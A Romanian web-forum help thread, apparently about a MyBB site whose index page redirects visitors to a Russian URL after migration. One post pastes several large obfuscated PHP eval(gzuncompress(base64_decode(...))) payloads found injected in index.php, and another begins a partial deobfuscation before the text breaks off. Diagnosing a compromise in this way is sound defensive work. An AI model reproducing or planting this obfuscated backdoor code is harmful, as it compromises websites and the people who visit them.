Google+

Thread Rating:
  • 0 Vote(s) - 0 Average
  • 1
  • 2
  • 3
  • 4
  • 5
Rezolvat Redirect forum
#1
Va salut. Am mutat o baza de date pe alt domeniu. Am facut configurarile necesare si totul este ok pana la o limita. Cand vreau sa accesez pagina de index ma duce pe site-ul http://caqxaro.ru/count14.php .
Am verificat fisierul index.php. setings.php si toate sunt in regula. Mai mult de atat, am sters toate fisierele din ftp si le-am inlocuit cu unele noi. Situatia ramane la fel. Unde sa fie problema?
Pentru a mentine un forum unitar si pentru a utiliza informatia intr-un numar cat mai mic de subiecte, va rugam ca inainte de a deschide o Discutie Noua sa folositi functia Cautare (Search) !
Cititi periodic
Regulamentul
#2
cauta pe server un anume index.html sau index.htm si sterge-l de acolo.
#3
Am facut asta si chiar l-am inlocuit cu unul nou din pachetul oficial insa se intampla la fel. Pana la urma am sters cookie si vad ca acum merge insa tot nu inteleg de ce ma redirectiona pe acel site rusesc...
Mai las acest subiect deschis in eventualitatea unor noi probleme.
Pentru a mentine un forum unitar si pentru a utiliza informatia intr-un numar cat mai mic de subiecte, va rugam ca inainte de a deschide o Discutie Noua sa folositi functia Cautare (Search) !
Cititi periodic
Regulamentul
#4
Și eu am avut acum 2-3 astfel de probleme cu un sait de teste (tot de pe platforma MyBB) însă nu mi-am explicat având în vedere faptul că nu aveam modificări instalate...
Chiar nu știu ce să zic, ar trebui să investigăm această problemă.
Users : collective term for those who use computers. Users are divided into three types : novice, intermediate and expert.
Novice users : people who are afraid that simply pressing a key might break their computer.
Intermediate users : people who don`t know how to fix their computer after they`ve just pressed a key that broke it.
Expert users : people who break other people`s computers.
#5
Tot pe http://caqxaro.ru/count14.php te redirectiona? Ai rezolvat intr0un fel problema? Eu am sters cookies si vad ca acum este ok dar nu stiu pana cand.

P.S In fisierul index.php din forum am gasit urmatorul cod criptat.

Code:
    <?php
    <? eval(gzuncompress(base64_decode('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'))); ?><? eval(gzuncompress(base64_decode('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'))); ?><? eval(gzuncompress(base64_decode('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' ))); ?>


Pentru cine nu stie, acest cod incarca mii de fotografii in ftp pana cand iti umple tot spatiul pe disk, dar poate ne lamureste Mihu mai bine. Smile

Pentru a mentine un forum unitar si pentru a utiliza informatia intr-un numar cat mai mic de subiecte, va rugam ca inainte de a deschide o Discutie Noua sa folositi functia Cautare (Search) !
Cititi periodic
Regulamentul
#6
Uite cum arată codul acela decriptat.

PHP Code:
$GLOBALS['_531979386_']=Array(base64_decode('ZX'.'J'.'yb3'.'Jfcm'.'Vwb3J0aW'.'5n'),base64_decode('cHJlZ19t'.'YXRja'.'A=='),base64_decode(''.'ZXh0ZW5zaW9u'.'X'.'2xvYWR'.'lZ'.'A=='),base64_decode('ZnVuY3R'.'pb25fZXhpc3Rz'),base64_decode('ZnVuY3Rp'.'b'.'25f'.'ZXhpc3R'.'z'),base64_decode('Y3V'.'yb'.'F9'.'pbml0'),base64_decode('Y3VybF9zZXRvc'.'HQ='),base64_decode('Y3'.'Vy'.'b'.'F'.'9zZX'.'Rv'.'c'.'HQ='),base64_decode('Y'.'3VybF9'.'z'.'ZX'.'Rvc'.'HQ='),base64_decode('Y3'.'Vyb'.'F9zZ'.'XR'.'v'.'cHQ='),base64_decode(''.'Y'.'3VybF'.'9zZXR'.'vcHQ='),base64_decode('Y3V'.'ybF9zZ'.'X'.'Rvc'.'HQ='),base64_decode(''.'Y3Vy'.'bF9zZXR'.'vcHQ='),base64_decode('Y3Vy'.'bF9leG'.'Vj'),base64_decode('Y3VybF9nZXR'.'p'.'bmZ'.'v'),base64_decode('Y3V'.'ybF9'.'jbG9z'.'ZQ='.'='),base64_decode(''.'ZnV'.'uY3Rpb25fZXh'.'pc'.'3'.'Rz'),base64_decode(''.'ZmlsZV9nZXRfY2'.'9'.'ud'.'GV'.'udH'.'M='),base64_decode('cHJlZ19yZX'.'BsY'.'WNl'),base64_decode('bWtkaXI='),base64_decode('Y2h'.'tb2Q='),base64_decode('bWtk'.'aXI='),base64_decode('Y2ht'.'b2Q='),base64_decode('Z'.'m'.'9wZW4'.'='),base64_decode(''.'Zm9wZW4'.'='),base64_decode('ZndyaXRl'),base64_decode('Z'.'mN'.'sb'.'3'.'Nl'),base64_decode('Z'.'mlsZV9'.'le'.'GlzdHM='),base64_decode('Zm9'.'w'.'ZW4'.'='),base64_decode('Z'.'ndy'.'aXRl'),base64_decode('ZmNsb'.'3'.'Nl'),base64_decode('Y'.'mFzZTY0X'.'2RlY29kZQ=='),base64_decode('Z'.'mlsZ'.'V9nZX'.'Rf'.'Y29u'.'dG'.'Vud'.'HM='),base64_decode(''.'bWQ1'),base64_decode('Zm9wZW'.'4'.'='),base64_decode('Zndya'.'XRl'),base64_decode('Zm'.'Nsb3Nl'),base64_decode('YmF'.'zZW5hbW'.'U='),base64_decode('bW92Z'.'V91'.'c'.'GxvY'.'W'.'Rl'.'ZF9m'.'a'.'Wxl'),base64_decode('c3RycG9z'),base64_decode('c3RycG9'.'z'),base64_decode('YmFzZTY0X'.'2RlY29'.'kZQ=='),base64_decode('ZmlsZV9'.'nZX'.'Rf'.'Y29udGVudHM='),base64_decode('c3'.'Ry'.'X3'.'JlcGx'.'hY2U='),base64_decode('cmF3'.'dX'.'JsZ'.'W'.'5'.'jb2Rl'),base64_decode('c3Ryd'.'G'.'9sb3dlcg=='),base64_decode('c'.'mF3dXJsZW5jb'.'2Rl'),base64_decode(''.'cm'.'F3dXJsZW'.'5jb2R'.'l'),base64_decode('c3RydG'.'9sb3d'.'lcg'.'='.'='),base64_decode('cmF3dXJsZ'.'W5jb2Rl'),base64_decode('c3RydG'.'9sb3'.'d'.'l'.'c'.'g'.'=='),base64_decode(''.'cmF3dXJ'.'sZW5jb2'.'Rl'),base64_decode('c3RydG9sb3'.'dlcg=='),base64_decode('cmF'.'3'.'dXJsZW5jb2Rl'),base64_decode('c'.'H'.'JlZ'.'19tYXR'.'jaA='.'='),base64_decode(''.'cHJlZ19yZX'.'BsYWNl'),base64_decode('c3RyX3JlcGxhY'.'2U'.'='),base64_decode('dXJ'.'sZG'.'Vj'.'b'.'2'.'Rl'),base64_decode('c3RyX3JlcG'.'x'.'hY2U='),base64_decode('c'.'3'.'R'.'yX3JlcG'.'xhY2U='),base64_decode(''.'c'.'HJ'.'lZ19'.'tYXRjaF9hbGw='),base64_decode('Y'.'2'.'91b'.'nQ='),base64_decode('dHJpbQ=='),base64_decode('c3RyaXBfd'.'GF'.'n'.'cw'.'=='),base64_decode('c3RyX'.'3JlcG'.'xhY'.'2U='),base64_decode('c3RyX'.'3J'.'lcGxhY2U'.'='),base64_decode('c3RyX3JlcGxhY2U='),base64_decode('c3R'.'yX'.'3JlcGxh'.'Y'.'2U'.'='),base64_decode('c3RyX3JlcGxh'.'Y2U='),base64_decode(''.'c3'.'RyX'.'3JlcGxhY2'.'U='),base64_decode('c3RyX3Jlc'.'GxhY2'.'U='),base64_decode(''.'c3RyX'.'3'.'JlcG'.'xhY'.'2U'.'='),base64_decode('c3RyX3J'.'l'.'c'.'GxhY2'.'U='),base64_decode('c3'.'R'.'yX3JlcG'.'xhY2'.'U'.'='),base64_decode('c'.'3RyX'.'3JlcGxhY2'.'U='),base64_decode('c3Ry'.'aXBfdGFncw'.'=='),base64_decode('YXJyYXl'.'fc'.'HVz'.'a'.'A='.'='),base64_decode(''.'c'.'3Ry'.'dG9'.'sb3d'.'lcg=='),base64_decode('c3R'.'yX3J'.'lc'.'Gxh'.'Y2'.'U'.'='),base64_decode('c3R'.'yX3Jlc'.'Gx'.'h'.'Y'.'2'.'U='),base64_decode('c3RyX3JlcGxhY'.'2U='),base64_decode('c3R'.'y'.'X3Jl'.'cGxhY'.'2U='),base64_decode('cHJlZ'.'1'.'9yZ'.'XBsYW'.'Nl'),base64_decode('cHJl'.'Z19yZXBsYWNl'),base64_decode('Z'.'Xhwb'.'G'.'9kZQ=='),base64_decode('Y291bn'.'Q'.'='),base64_decode('ZXhw'.'bG'.'9kZQ='.'='),base64_decode('Y'.'291b'.'nQ'.'='),base64_decode('YXJ'.'yYXlfa2V5cw='.'='),base64_decode('YX'.'J'.'yYXl'.'fdW5pcXVl'),base64_decode(''.'YXJ'.'yYXlfcm'.'F'.'uZA'.'=='),base64_decode('bXRfc'.'mFuZA'.'=='),base64_decode('bXR'.'fcmFuZA=='),base64_decode('Y2'.'91'.'bnQ'.'='),base64_decode('YXJyYXlfc'.'mFu'.'ZA=='),base64_decode(''.'Y291'.'b'.'nQ='),base64_decode('c'.'3Ry'.'bGVu'),base64_decode('cnRyaW0='),base64_decode(''.'cnR'.'yaW'.'0='),base64_decode('dW'.'NmaXJzdA='.'='),base64_decode('aW1'.'wbG'.'9'.'kZQ=='),base64_decode('c'.'3'.'RyX'.'3J'.'lcGxhY2'.'U='),base64_decode('cHJlZ1'.'9y'.'ZXBsYWNl'),base64_decode('c3RyX3'.'JlcG'.'x'.'hY2U='),base64_decode(''.'dX'.'Js'.'ZG'.'Vj'.'b2'.'Rl'),base64_decode(''.'c'.'3Ry'.'X3J'.'lc'.'G'.'xhY2U='),base64_decode('c'.'3RyX3J'.'lcGxh'.'Y2U='),base64_decode('c3RyX3'.'JlcGx'.'hY'.'2U='),base64_decode('cHJl'.'Z'.'19'.'t'.'YXRjaF'.'9h'.'bGw='),base64_decode('Y2'.'9'.'1bnQ='),base64_decode('YXJyYXlfcHVz'.